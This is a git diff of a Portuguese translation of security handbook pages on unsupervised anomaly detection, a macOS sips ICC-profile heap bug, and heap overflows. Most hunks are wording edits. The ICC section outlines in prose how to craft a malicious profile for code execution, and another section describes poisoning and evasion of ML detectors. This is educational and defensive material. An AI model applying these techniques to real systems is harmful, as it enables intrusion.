Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary

src/AI/AI-Unsupervised-Learning-Algorithms.md

@@ -30,7 +30,7 @@ K-Means assume que **os clusters são esféricos e de tamanho igual**, o que pod
 <details>
 <summary>Exemplo -- Agrupando Eventos de Rede
 </summary>
-Abaixo simulamos dados de tráfego de rede e usamos K-Means para agrupá-los. Suponha que temos eventos com características como duração da conexão e contagem de bytes. Criamos 3 clusters de tráfego "normal" e 1 pequeno cluster representando um padrão de ataque. Em seguida, executamos K-Means para ver se ele os separa.
+Abaixo, simulamos dados de tráfego de rede e usamos K-Means para agrupá-los. Suponha que temos eventos com características como duração da conexão e contagem de bytes. Criamos 3 clusters de tráfego "normal" e 1 pequeno cluster representando um padrão de ataque. Em seguida, executamos K-Means para ver se ele os separa.
 ```python
 import numpy as np
 from sklearn.cluster import KMeans
@@ -65,7 +65,7 @@ O agrupamento hierárquico constrói uma hierarquia de clusters usando uma abord
 1. **Aglomerativa (De Baixo para Cima)**: Começa com cada ponto de dados como um cluster separado e mescla iterativamente os clusters mais próximos até que um único cluster permaneça ou um critério de parada seja atendido.
 2. **Divisiva (De Cima para Baixo)**: Começa com todos os pontos de dados em um único cluster e divide iterativamente os clusters até que cada ponto de dados seja seu próprio cluster ou um critério de parada seja atendido.
 
-O agrupamento aglomerativo requer uma definição de distância entre clusters e um critério de ligação para decidir quais clusters mesclar. Métodos de ligação comuns incluem ligação simples (distância dos pontos mais próximos entre dois clusters), ligação completa (distância dos pontos mais distantes), ligação média, etc., e a métrica de distância é frequentemente euclidiana. A escolha da ligação afeta a forma dos clusters produzidos. Não há necessidade de pré-especificar o número de clusters K; você pode "cortar" o dendrograma em um nível escolhido para obter o número desejado de clusters.
+O agrupamento aglomerativo requer uma definição de distância entre clusters e um critério de ligação para decidir quais clusters mesclar. Métodos de ligação comuns incluem ligação simples (distância dos pontos mais próximos entre dois clusters), ligação completa (distância dos pontos mais distantes), ligação média, etc., e a métrica de distância é frequentemente Euclidiana. A escolha da ligação afeta a forma dos clusters produzidos. Não há necessidade de pré-especificar o número de clusters K; você pode "cortar" o dendrograma em um nível escolhido para obter o número desejado de clusters.
 
 O agrupamento hierárquico produz um dendrograma, uma estrutura em forma de árvore que mostra as relações entre clusters em diferentes níveis de granularidade. O dendrograma pode ser cortado em um nível desejado para obter um número específico de clusters.
 
@@ -74,7 +74,7 @@ O agrupamento hierárquico produz um dendrograma, uma estrutura em forma de árv
 
 #### Suposições e Limitações
 
-O agrupamento hierárquico não assume uma forma de cluster particular e pode capturar clusters aninhados. É útil para descobrir taxonomias ou relações entre grupos (por exemplo, agrupando malware por subgrupos familiares). É determinístico (sem problemas de inicialização aleatória). Uma vantagem chave é o dendrograma, que fornece insights sobre a estrutura de agrupamento dos dados em todas as escalas – analistas de segurança podem decidir um corte apropriado para identificar clusters significativos. No entanto, é computacionalmente caro (tipicamente $O(n^2)$ de tempo ou pior para implementações ingênuas) e não viável para conjuntos de dados muito grandes. Também é um procedimento ganancioso – uma vez que uma mesclagem ou divisão é feita, não pode ser desfeita, o que pode levar a clusters subótimos se um erro ocorrer cedo. Outliers também podem afetar algumas estratégias de ligação (a ligação simples pode causar o efeito de "encadeamento", onde clusters se conectam via outliers).
+O agrupamento hierárquico não assume uma forma particular de cluster e pode capturar clusters aninhados. É útil para descobrir taxonomias ou relações entre grupos (por exemplo, agrupando malware por subgrupos familiares). É determinístico (sem problemas de inicialização aleatória). Uma vantagem chave é o dendrograma, que fornece insights sobre a estrutura de agrupamento dos dados em todas as escalas – analistas de segurança podem decidir um corte apropriado para identificar clusters significativos. No entanto, é computacionalmente caro (tipicamente $O(n^2)$ de tempo ou pior para implementações ingênuas) e não viável para conjuntos de dados muito grandes. Também é um procedimento ganancioso – uma vez que uma mesclagem ou divisão é feita, não pode ser desfeita, o que pode levar a clusters subótimos se um erro ocorrer cedo. Outliers também podem afetar algumas estratégias de ligação (a ligação simples pode causar o efeito de "encadeamento", onde clusters se conectam via outliers).
 
 <details>
 <summary>Exemplo -- Agrupamento Aglomerativo de Eventos
@@ -102,7 +102,7 @@ print(f"Cluster sizes for 3 clusters: {np.bincount(clusters_3)}")
 
 ### DBSCAN (Agrupamento Espacial Baseado em Densidade de Aplicações com Ruído)
 
-DBSCAN é um algoritmo de agrupamento baseado em densidade que agrupa pontos que estão próximos uns dos outros, enquanto marca pontos em regiões de baixa densidade como outliers. É particularmente útil para conjuntos de dados com densidades variadas e formas não esféricas.
+DBSCAN é um algoritmo de agrupamento baseado em densidade que agrupa pontos que estão próximos uns dos outros, enquanto marca pontos em regiões de baixa densidade como outliers. É particularmente útil para conjuntos de dados com densidades variáveis e formas não esféricas.
 
 DBSCAN funciona definindo dois parâmetros:
 - **Epsilon (ε)**: A distância máxima entre dois pontos para serem considerados parte do mesmo cluster.
@@ -116,13 +116,13 @@ DBSCAN identifica pontos centrais, pontos de borda e pontos de ruído:
 O agrupamento prossegue escolhendo um ponto central não visitado, marcando-o como um novo cluster, e então adicionando recursivamente todos os pontos acessíveis por densidade a partir dele (pontos centrais e seus vizinhos, etc.). Pontos de borda são adicionados ao cluster de um ponto central próximo. Após expandir todos os pontos acessíveis, o DBSCAN passa para outro ponto central não visitado para iniciar um novo cluster. Pontos que não foram alcançados por nenhum ponto central permanecem rotulados como ruído.
 
 > [!TIP]
-> *Casos de uso em cibersegurança:* DBSCAN é útil para detecção de anomalias em tráfego de rede. Por exemplo, a atividade normal do usuário pode formar um ou mais clusters densos no espaço de características, enquanto comportamentos de ataque novos aparecem como pontos dispersos que o DBSCAN rotulará como ruído (outliers). Ele tem sido usado para agrupar registros de fluxo de rede, onde pode detectar varreduras de portas ou tráfego de negação de serviço como regiões esparsas de pontos. Outra aplicação é agrupar variantes de malware: se a maioria das amostras se agrupar por famílias, mas algumas não se encaixam em lugar nenhum, essas poucas podem ser malware de dia zero. A capacidade de sinalizar ruído significa que as equipes de segurança podem se concentrar em investigar esses outliers.
+> *Casos de uso em cibersegurança:* DBSCAN é útil para detecção de anomalias no tráfego de rede. Por exemplo, a atividade normal do usuário pode formar um ou mais clusters densos no espaço de características, enquanto comportamentos de ataque novos aparecem como pontos dispersos que o DBSCAN rotulará como ruído (outliers). Ele tem sido usado para agrupar registros de fluxo de rede, onde pode detectar varreduras de portas ou tráfego de negação de serviço como regiões esparsas de pontos. Outra aplicação é agrupar variantes de malware: se a maioria das amostras se agrupar por famílias, mas algumas não se encaixam em lugar nenhum, essas poucas podem ser malware de dia zero. A capacidade de sinalizar ruído significa que as equipes de segurança podem se concentrar em investigar esses outliers.
 
 #### Suposições e Limitações
 
-**Suposições & Forças:**: O DBSCAN não assume clusters esféricos – ele pode encontrar clusters de formas arbitrárias (mesmo clusters em cadeia ou adjacentes). Ele determina automaticamente o número de clusters com base na densidade dos dados e pode identificar efetivamente outliers como ruído. Isso o torna poderoso para dados do mundo real com formas irregulares e ruído. É robusto a outliers (diferente do K-Means, que os força em clusters). Funciona bem quando os clusters têm densidade aproximadamente uniforme.
+**Suposições & Forças:**: O DBSCAN não assume clusters esféricos – ele pode encontrar clusters de formas arbitrárias (mesmo clusters em cadeia ou adjacentes). Ele determina automaticamente o número de clusters com base na densidade dos dados e pode identificar efetivamente outliers como ruído. Isso o torna poderoso para dados do mundo real com formas irregulares e ruído. É robusto a outliers (diferente do K-Means, que os força a entrar em clusters). Funciona bem quando os clusters têm densidade aproximadamente uniforme.
 
-**Limitações**: O desempenho do DBSCAN depende da escolha de valores apropriados para ε e MinPts. Ele pode ter dificuldades com dados que têm densidades variadas – um único ε não pode acomodar clusters densos e esparsos. Se ε for muito pequeno, ele rotula a maioria dos pontos como ruído; se for muito grande, os clusters podem se fundir incorretamente. Além disso, o DBSCAN pode ser ineficiente em conjuntos de dados muito grandes (naïvamente $O(n^2)$, embora a indexação espacial possa ajudar). Em espaços de características de alta dimensão, o conceito de “distância dentro de ε” pode se tornar menos significativo (a maldição da dimensionalidade), e o DBSCAN pode precisar de ajuste cuidadoso de parâmetros ou pode falhar em encontrar clusters intuitivos. Apesar disso, extensões como HDBSCAN abordam algumas questões (como densidade variável).
+**Limitações**: O desempenho do DBSCAN depende da escolha de valores apropriados para ε e MinPts. Ele pode ter dificuldades com dados que possuem densidades variáveis – um único ε não pode acomodar clusters densos e esparsos. Se ε for muito pequeno, ele rotula a maioria dos pontos como ruído; se for muito grande, os clusters podem se fundir incorretamente. Além disso, o DBSCAN pode ser ineficiente em conjuntos de dados muito grandes (naïvamente $O(n^2)$, embora a indexação espacial possa ajudar). Em espaços de características de alta dimensão, o conceito de “distância dentro de ε” pode se tornar menos significativo (a maldição da dimensionalidade), e o DBSCAN pode precisar de ajuste cuidadoso de parâmetros ou pode falhar em encontrar clusters intuitivos. Apesar disso, extensões como HDBSCAN abordam algumas questões (como densidade variável).
 
 <details>
 <summary>Exemplo -- Agrupamento com Ruído
@@ -231,11 +231,11 @@ Aqui, pegamos os clusters de tráfego normal anteriores e estendemos cada ponto
 
 Um Modelo de Mistura Gaussiana assume que os dados são gerados a partir de uma mistura de **várias distribuições Gaussianas (normais) com parâmetros desconhecidos**. Em essência, é um modelo de clustering probabilístico: tenta atribuir suavemente cada ponto a um dos K componentes Gaussianos. Cada componente Gaussiano k tem um vetor médio (μ_k), matriz de covariância (Σ_k) e um peso de mistura (π_k) que representa quão prevalente é aquele cluster. Ao contrário do K-Means, que faz atribuições "duras", o GMM dá a cada ponto uma probabilidade de pertencer a cada cluster.
 
-O ajuste do GMM é tipicamente feito via o algoritmo de Expectativa-Maximização (EM):
+O ajuste do GMM é tipicamente feito através do algoritmo de Expectativa-Maximização (EM):
 
 - **Inicialização**: Comece com palpites iniciais para as médias, covariâncias e coeficientes de mistura (ou use os resultados do K-Means como ponto de partida).
 
-- **E-pass (Expectativa)**: Dado os parâmetros atuais, calcule a responsabilidade de cada cluster para cada ponto: essencialmente `r_nk = P(z_k | x_n)` onde z_k é a variável latente indicando a pertença ao cluster para o ponto x_n. Isso é feito usando o teorema de Bayes, onde calculamos a probabilidade posterior de cada ponto pertencer a cada cluster com base nos parâmetros atuais. As responsabilidades são calculadas como:
+- **E-pass (Expectativa)**: Dado os parâmetros atuais, calcule a responsabilidade de cada cluster para cada ponto: essencialmente `r_nk = P(z_k | x_n)` onde z_k é a variável latente que indica a pertença ao cluster para o ponto x_n. Isso é feito usando o teorema de Bayes, onde calculamos a probabilidade posterior de cada ponto pertencer a cada cluster com base nos parâmetros atuais. As responsabilidades são calculadas como:
 ```math
 r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \mathcal{N}(x_n | \mu_j, \Sigma_j)}
 ```
@@ -259,7 +259,7 @@ O resultado é um conjunto de distribuições Gaussianas que modelam coletivamen
 
 O GMM é uma generalização do K-Means que incorpora covariância, de modo que os clusters podem ser elipsoidais (não apenas esféricos). Ele lida com clusters de diferentes tamanhos e formas se a covariância for completa. O clustering suave é uma vantagem quando os limites dos clusters são difusos – por exemplo, em cibersegurança, um evento pode ter características de vários tipos de ataque; o GMM pode refletir essa incerteza com probabilidades. O GMM também fornece uma estimativa de densidade probabilística dos dados, útil para detectar outliers (pontos com baixa probabilidade sob todos os componentes da mistura).
 
-Por outro lado, o GMM requer especificar o número de componentes K (embora se possa usar critérios como BIC/AIC para selecioná-lo). O EM pode, às vezes, convergir lentamente ou para um ótimo local, então a inicialização é importante (geralmente executa-se o EM várias vezes). Se os dados não seguirem realmente uma mistura de Gaussianas, o modelo pode ser um ajuste ruim. Há também o risco de uma Gaussiana encolher para cobrir apenas um outlier (embora a regularização ou limites mínimos de covariância possam mitigar isso).
+Por outro lado, o GMM requer especificar o número de componentes K (embora se possa usar critérios como BIC/AIC para selecioná-lo). O EM pode às vezes convergir lentamente ou para um ótimo local, então a inicialização é importante (geralmente executa-se o EM várias vezes). Se os dados não seguirem realmente uma mistura de Gaussianas, o modelo pode ser um ajuste ruim. Também há o risco de uma Gaussiana encolher para cobrir apenas um outlier (embora a regularização ou limites mínimos de covariância possam mitigar isso).
 
 <details>
 <summary>Exemplo --  Clustering Suave & Pontuações de Anomalia
@@ -319,36 +319,36 @@ print("Isolation Forest predicted labels (first 20):", preds[:20])
 print("Number of anomalies detected:", np.sum(preds == -1))
 print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5])
 ```
-Neste código, instanciamos `IsolationForest` com 100 árvores e definimos `contamination=0.15` (o que significa que esperamos cerca de 15% de anomalias; o modelo definirá seu limite de pontuação para que ~15% dos pontos sejam sinalizados). Ajustamos em `X_test_if`, que contém uma mistura de pontos normais e de ataque (nota: normalmente você ajustaria em dados de treinamento e depois usaria predict em novos dados, mas aqui, para ilustração, ajustamos e prevemos no mesmo conjunto para observar diretamente os resultados).
+Neste código, instanciamos `IsolationForest` com 100 árvores e definimos `contamination=0.15` (o que significa que esperamos cerca de 15% de anomalias; o modelo definirá seu limite de pontuação para que ~15% dos pontos sejam sinalizados). Ajustamos em `X_test_if`, que contém uma mistura de pontos normais e de ataque (nota: normalmente você ajustaria em dados de treinamento e depois usaria predict em novos dados, mas aqui, para ilustração, ajustamos e prevemos no mesmo conjunto para observar os resultados diretamente).
 
 A saída mostra os rótulos previstos para os primeiros 20 pontos (onde -1 indica anomalia). Também imprimimos quantas anomalias foram detectadas no total e alguns exemplos de pontuações de anomalia. Esperaríamos que aproximadamente 18 dos 120 pontos fossem rotulados como -1 (já que a contaminação era de 15%). Se nossas 20 amostras de ataque são realmente as mais discrepantes, a maioria delas deve aparecer nessas previsões -1. A pontuação de anomalia (a função de decisão do Isolation Forest) é maior para pontos normais e menor (mais negativa) para anomalias – imprimimos alguns valores para ver a separação. Na prática, pode-se classificar os dados por pontuação para ver os principais outliers e investigá-los. O Isolation Forest, portanto, fornece uma maneira eficiente de filtrar grandes dados de segurança não rotulados e selecionar as instâncias mais irregulares para análise humana ou exame automatizado adicional.
 
 ### t-SNE (t-Distributed Stochastic Neighbor Embedding)
 
-**t-SNE** é uma técnica de redução de dimensionalidade não linear projetada especificamente para visualizar dados de alta dimensão em 2 ou 3 dimensões. Ela converte semelhanças entre pontos de dados em distribuições de probabilidade conjunta e tenta preservar a estrutura dos bairros locais na projeção de menor dimensão. Em termos mais simples, o t-SNE coloca pontos em (digamos) 2D de forma que pontos semelhantes (no espaço original) fiquem próximos e pontos dissimilares fiquem distantes com alta probabilidade.
+**t-SNE** é uma técnica de redução de dimensionalidade não linear projetada especificamente para visualizar dados de alta dimensão em 2 ou 3 dimensões. Ela converte similaridades entre pontos de dados em distribuições de probabilidade conjunta e tenta preservar a estrutura dos bairros locais na projeção de menor dimensão. Em termos mais simples, o t-SNE coloca pontos em (digamos) 2D de tal forma que pontos similares (no espaço original) acabam próximos uns dos outros e pontos dissimilares acabam distantes com alta probabilidade.
 
 O algoritmo tem duas etapas principais:
 
 1. **Calcular afinidades par a par no espaço de alta dimensão:** Para cada par de pontos, o t-SNE calcula uma probabilidade de que um escolheria aquele par como vizinhos (isso é feito centralizando uma distribuição Gaussiana em cada ponto e medindo distâncias – o parâmetro de perplexidade influencia o número efetivo de vizinhos considerados).
-2. **Calcular afinidades par a par no espaço de baixa dimensão (por exemplo, 2D):** Inicialmente, os pontos são colocados aleatoriamente em 2D. O t-SNE define uma probabilidade semelhante para distâncias neste mapa (usando um núcleo de distribuição t de Student, que tem caudas mais pesadas do que a Gaussiana para permitir que pontos distantes tenham mais liberdade).
+2. **Calcular afinidades par a par no espaço de baixa dimensão (por exemplo, 2D):** Inicialmente, os pontos são colocados aleatoriamente em 2D. O t-SNE define uma probabilidade similar para distâncias neste mapa (usando um núcleo de distribuição t de Student, que tem caudas mais pesadas do que a Gaussiana para permitir que pontos distantes tenham mais liberdade).
 3. **Descida do Gradiente:** O t-SNE então move iterativamente os pontos em 2D para minimizar a divergência de Kullback–Leibler (KL) entre a distribuição de afinidade de alta dimensão e a de baixa dimensão. Isso faz com que o arranjo em 2D reflita a estrutura de alta dimensão o máximo possível – pontos que estavam próximos no espaço original se atrairão, e aqueles distantes se repelirão, até que um equilíbrio seja encontrado.
 
 O resultado é frequentemente um gráfico de dispersão visualmente significativo onde os clusters nos dados se tornam aparentes.
 
 > [!TIP]
-> *Casos de uso em cibersegurança:* o t-SNE é frequentemente usado para **visualizar dados de segurança de alta dimensão para análise humana**. Por exemplo, em um centro de operações de segurança, analistas poderiam pegar um conjunto de dados de eventos com dezenas de características (números de porta, frequências, contagens de bytes, etc.) e usar o t-SNE para produzir um gráfico 2D. Ataques podem formar seus próprios clusters ou se separar dos dados normais neste gráfico, tornando-os mais fáceis de identificar. Foi aplicado a conjuntos de dados de malware para ver agrupamentos de famílias de malware ou a dados de intrusão de rede onde diferentes tipos de ataque se agrupam de forma distinta, orientando investigações adicionais. Essencialmente, o t-SNE fornece uma maneira de ver a estrutura em dados cibernéticos que, de outra forma, seriam incompreensíveis.
+> *Casos de uso em cibersegurança:* o t-SNE é frequentemente usado para **visualizar dados de segurança de alta dimensão para análise humana**. Por exemplo, em um centro de operações de segurança, analistas poderiam pegar um conjunto de dados de eventos com dezenas de características (números de porta, frequências, contagens de bytes, etc.) e usar o t-SNE para produzir um gráfico 2D. Ataques podem formar seus próprios clusters ou se separar dos dados normais neste gráfico, tornando-os mais fáceis de identificar. Ele foi aplicado a conjuntos de dados de malware para ver agrupamentos de famílias de malware ou a dados de intrusão de rede onde diferentes tipos de ataque se agrupam de forma distinta, orientando investigações adicionais. Essencialmente, o t-SNE fornece uma maneira de ver a estrutura em dados cibernéticos que, de outra forma, seriam incompreensíveis.
 
 #### Suposições e Limitações
 
-O t-SNE é ótimo para descoberta visual de padrões. Ele pode revelar clusters, subclusters e outliers que outros métodos lineares (como PCA) podem não detectar. Tem sido usado em pesquisas de cibersegurança para visualizar dados complexos, como perfis de comportamento de malware ou padrões de tráfego de rede. Como preserva a estrutura local, é bom para mostrar agrupamentos naturais.
+O t-SNE é ótimo para descoberta visual de padrões. Ele pode revelar clusters, subclusters e outliers que outros métodos lineares (como PCA) podem não conseguir. Tem sido usado em pesquisas de cibersegurança para visualizar dados complexos, como perfis de comportamento de malware ou padrões de tráfego de rede. Como preserva a estrutura local, é bom para mostrar agrupamentos naturais.
 
-No entanto, o t-SNE é computacionalmente mais pesado (aproximadamente $O(n^2)$), então pode exigir amostragem para conjuntos de dados muito grandes. Também possui hiperparâmetros (perplexidade, taxa de aprendizado, iterações) que podem afetar a saída – por exemplo, diferentes valores de perplexidade podem revelar clusters em diferentes escalas. Gráficos de t-SNE podem às vezes ser mal interpretados – distâncias no mapa não são diretamente significativas globalmente (foca no bairro local, às vezes clusters podem parecer artificialmente bem separados). Além disso, o t-SNE é principalmente para visualização; não fornece uma maneira direta de projetar novos pontos de dados sem recomputação, e não é destinado a ser usado como pré-processamento para modelagem preditiva (UMAP é uma alternativa que aborda algumas dessas questões com velocidade mais rápida).
+No entanto, o t-SNE é computacionalmente mais pesado (aproximadamente $O(n^2)$), então pode exigir amostragem para conjuntos de dados muito grandes. Também possui hiperparâmetros (perplexidade, taxa de aprendizado, iterações) que podem afetar a saída – por exemplo, diferentes valores de perplexidade podem revelar clusters em diferentes escalas. Gráficos de t-SNE podem às vezes ser mal interpretados – distâncias no mapa não são diretamente significativas globalmente (ele se concentra no bairro local, às vezes clusters podem parecer artificialmente bem separados). Além disso, o t-SNE é principalmente para visualização; não fornece uma maneira direta de projetar novos pontos de dados sem recomputação, e não é destinado a ser usado como pré-processamento para modelagem preditiva (UMAP é uma alternativa que aborda algumas dessas questões com velocidade mais rápida).
 
 <details>
 <summary>Exemplo -- Visualizando Conexões de Rede
 </summary>
 
-Usaremos o t-SNE para reduzir um conjunto de dados com múltiplas características para 2D. Para ilustração, vamos pegar os dados 4D anteriores (que tinham 3 clusters naturais de tráfego normal) e adicionar alguns pontos de anomalia. Em seguida, executamos o t-SNE e (conceitualmente) visualizamos os resultados.
+Usaremos o t-SNE para reduzir um conjunto de dados multifuncional para 2D. Para ilustração, vamos pegar os dados 4D anteriores (que tinham 3 clusters naturais de tráfego normal) e adicionar alguns pontos de anomalia. Em seguida, executamos o t-SNE e (conceitualmente) visualizamos os resultados.
 ```python
 # 1 ─────────────────────────────────────────────────────────────────────
 #    Create synthetic 4-D dataset
@@ -437,7 +437,7 @@ Aqui combinamos nosso conjunto de dados normal 4D anterior com um punhado de out
 
 ### HDBSCAN (Clustering Espacial Hierárquico Baseado em Densidade de Aplicações com Ruído)
 
-**HDBSCAN** é uma extensão do DBSCAN que remove a necessidade de escolher um único valor global `eps` e é capaz de recuperar clusters de **densidade diferente** construindo uma hierarquia de componentes conectados por densidade e, em seguida, condensando-a. Comparado ao DBSCAN simples, geralmente
+**HDBSCAN** é uma extensão do DBSCAN que remove a necessidade de escolher um único valor global `eps` e é capaz de recuperar clusters de **densidade diferente** construindo uma hierarquia de componentes conectados por densidade e, em seguida, condensando-a. Comparado ao DBSCAN padrão, geralmente
 
 * extrai clusters mais intuitivos quando alguns clusters são densos e outros são esparsos,
 * tem apenas um verdadeiro hiperparâmetro (`min_cluster_size`) e um padrão sensato,
@@ -475,17 +475,17 @@ print("Suspect beacon count:", len(suspects))
 
 ---
 
-### Robustez e Considerações de Segurança – Envenenamento & Ataques Adversariais (2023-2025)
+### Considerações sobre Robustez e Segurança – Envenenamento & Ataques Adversariais (2023-2025)
 
 Trabalhos recentes mostraram que **aprendizes não supervisionados *não* são imunes a atacantes ativos**:
 
 * **Envenenamento de dados contra detectores de anomalias.** Chen *et al.* (IEEE S&P 2024) demonstraram que adicionar apenas 3 % de tráfego elaborado pode deslocar a fronteira de decisão do Isolation Forest e ECOD de modo que ataques reais pareçam normais. Os autores lançaram um PoC de código aberto (`udo-poison`) que sintetiza automaticamente pontos de veneno.
-* **Backdooring em modelos de clustering.** A técnica *BadCME* (BlackHat EU 2023) implanta um pequeno padrão de gatilho; sempre que esse gatilho aparece, um detector baseado em K-Means coloca silenciosamente o evento dentro de um cluster “benigno”.
+* **Backdooring de modelos de clustering.** A técnica *BadCME* (BlackHat EU 2023) implanta um pequeno padrão de gatilho; sempre que esse gatilho aparece, um detector baseado em K-Means coloca silenciosamente o evento dentro de um cluster “benigno”.
 * **Evasão de DBSCAN/HDBSCAN.** Um pré-print acadêmico de 2025 da KU Leuven mostrou que um atacante pode elaborar padrões de beaconing que caem propositalmente em lacunas de densidade, efetivamente se escondendo dentro de rótulos de *ruído*.
 
 Mitigações que estão ganhando força:
 
-1. **Sanitização de modelo / TRIM.** Antes de cada época de re-treinamento, descarte os 1–2 % de pontos com maior perda (máxima verossimilhança aparada) para tornar o envenenamento dramaticamente mais difícil.
+1. **Sanitização de modelo / TRIM.** Antes de cada época de re-treinamento, descarte os 1–2 % de pontos com maior perda (máxima verossimilhança cortada) para tornar o envenenamento dramaticamente mais difícil.
 2. **Ensemble de consenso.** Combine vários detectores heterogêneos (por exemplo, Isolation Forest + GMM + ECOD) e levante um alerta se *qualquer* modelo sinalizar um ponto. Pesquisas indicam que isso aumenta o custo para o atacante em mais de 10×.
 3. **Defesa baseada em distância para clustering.** Recalcule clusters com `k` sementes aleatórias diferentes e ignore pontos que constantemente mudam de cluster.
 
@@ -501,7 +501,7 @@ pyod benchmark --input logs.csv --label attack --n_jobs 8
 * **scikit-learn 1.5** (nov 2024) finalmente expõe `score_samples` para *HDBSCAN* através do novo wrapper `cluster.HDBSCAN`, então você não precisa do pacote contrib externo quando estiver no Python 3.12.
 
 <details>
-<summary>Exemplo rápido de PyOD – ECOD + ensemble de Isolation Forest</summary>
+<summary>Exemplo rápido de PyOD – ensemble ECOD + Isolation Forest</summary>
 ```python
 from pyod.models import ECOD, IForest
 from pyod.utils.data import generate_data, evaluate_print

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md

@@ -17,13 +17,13 @@ for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
 buffer[i] = 0;            // no bounds check vs allocated size!
 }
 ```
-## Exploitation Steps
+## Etapas de Exploração
 
 1. **Crie um perfil `.icc` malicioso**
 
 * Configure um cabeçalho ICC mínimo (`acsp`) e adicione uma tag `mAB ` (ou `mBA `).
 * Configure a tabela de tags para que o **`offsetToCLUT` seja igual ao tamanho da tag** (`tagDataSize`).
-* Coloque dados controlados pelo atacante logo após a tag, de modo que as 16 gravações de zero sobreponham os metadados do alocador.
+* Coloque dados controlados pelo atacante logo após a tag para que as 16 gravações de zero sobreponham os metadados do alocador.
 
 2. **Acione a análise com qualquer operação sips que toque o perfil**
 
@@ -77,15 +77,15 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
 ```
 ## Impacto
 
-Abrir ou processar um perfil ICC elaborado leva à **execução remota de código arbitrário** no contexto do usuário que o invocou (Preview, QuickLook, renderização de imagens no Safari, anexos de e-mail, etc.), contornando o Gatekeeper porque o perfil pode ser incorporado dentro de imagens benignas (PNG/JPEG/TIFF).
+Abrir ou processar um perfil ICC elaborado leva à **execução remota de código arbitrário** no contexto do usuário que o invoca (Preview, QuickLook, renderização de imagens no Safari, anexos de Mail, etc.), contornando o Gatekeeper porque o perfil pode ser incorporado dentro de imagens benignas (PNG/JPEG/TIFF).
 
 ## Detecção e Mitigação
 
 * **Atualize!** Certifique-se de que o host está executando macOS ≥ 15.2 / 14.7.1 (ou iOS/iPadOS ≥ 18.1).
 * Implemente a regra YARA acima em gateways de e-mail e soluções EDR.
 * Remova ou sane os perfis ICC incorporados com `exiftool -icc_profile= -overwrite_original <file>` antes de processar arquivos não confiáveis.
-* Reforce o Preview/QuickLook executando-os dentro de VMs "transparência e modernização" isoladas ao analisar conteúdo desconhecido.
-* Para DFIR, procure por execuções recentes de `sips --verifyColor` ou carregamentos da biblioteca `ColorSync` por aplicativos isolados no log unificado.
+* Reforce o Preview/QuickLook executando-os dentro de VMs "transparência e modernização" em sandbox ao analisar conteúdo desconhecido.
+* Para DFIR, procure por execuções recentes de `sips --verifyColor` ou carregamentos da biblioteca `ColorSync` por aplicativos em sandbox no log unificado.
 
 ## Referências
 

src/binary-exploitation/libc-heap/heap-overflow.md

@@ -6,14 +6,14 @@
 
 Um heap overflow é como um [**stack overflow**](../stack-overflow/index.html), mas no heap. Basicamente, isso significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado.**
 
-Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no chunk do heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso.
+Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no chunk do heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante pode abusar disso.
 
 > [!TIP]
 > Para encontrar offsets de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets).
 
 ### Stack Overflows vs Heap Overflows
 
-Em stack overflows, a disposição e os dados que estarão presentes na pilha no momento em que a vulnerabilidade pode ser acionada são bastante confiáveis. Isso ocorre porque a pilha é linear, sempre aumentando em memória colidida, em **lugares específicos da execução do programa, a memória da pilha geralmente armazena um tipo semelhante de dados** e possui uma estrutura específica com alguns ponteiros no final da parte da pilha usada por cada função.
+Em stack overflows, a disposição e os dados que estarão presentes na pilha no momento em que a vulnerabilidade pode ser acionada são bastante confiáveis. Isso ocorre porque a pilha é linear, sempre aumentando em memória colidida, em **lugares específicos da execução do programa, a memória da pilha geralmente armazena um tipo semelhante de dados** e tem uma estrutura específica com alguns ponteiros no final da parte da pilha usada por cada função.
 
 No entanto, no caso de um heap overflow, a memória usada não é linear, mas **chunks alocados geralmente estão em posições separadas da memória** (não um ao lado do outro) devido a **bins e zonas** que separam alocações por tamanho e porque **memória previamente liberada é usada** antes de alocar novos chunks. É **complicado saber qual objeto estará colidindo com aquele vulnerável** a um heap overflow. Portanto, quando um heap overflow é encontrado, é necessário encontrar uma **maneira confiável de fazer o objeto desejado estar próximo na memória** do que pode ser transbordado.
 
@@ -27,7 +27,7 @@ Então, alguns desses espaços reservados podem ser **liberados**. A **lista liv
 
 ### Exemplo libc
 
-[**Nesta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo chunk e a posição do prev size é possível **consolidar um chunk usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também.
+[**Nesta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit prev in use do próximo chunk e a posição do tamanho prev é possível **consolidar um chunk usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, sendo capaz de sobrescrever dados que estão sendo usados em um ponteiro diferente também.
 
 Outro exemplo do [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a flag**.
 
@@ -35,7 +35,7 @@ No exemplo do [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_over
 
 ### Exemplo ARM64
 
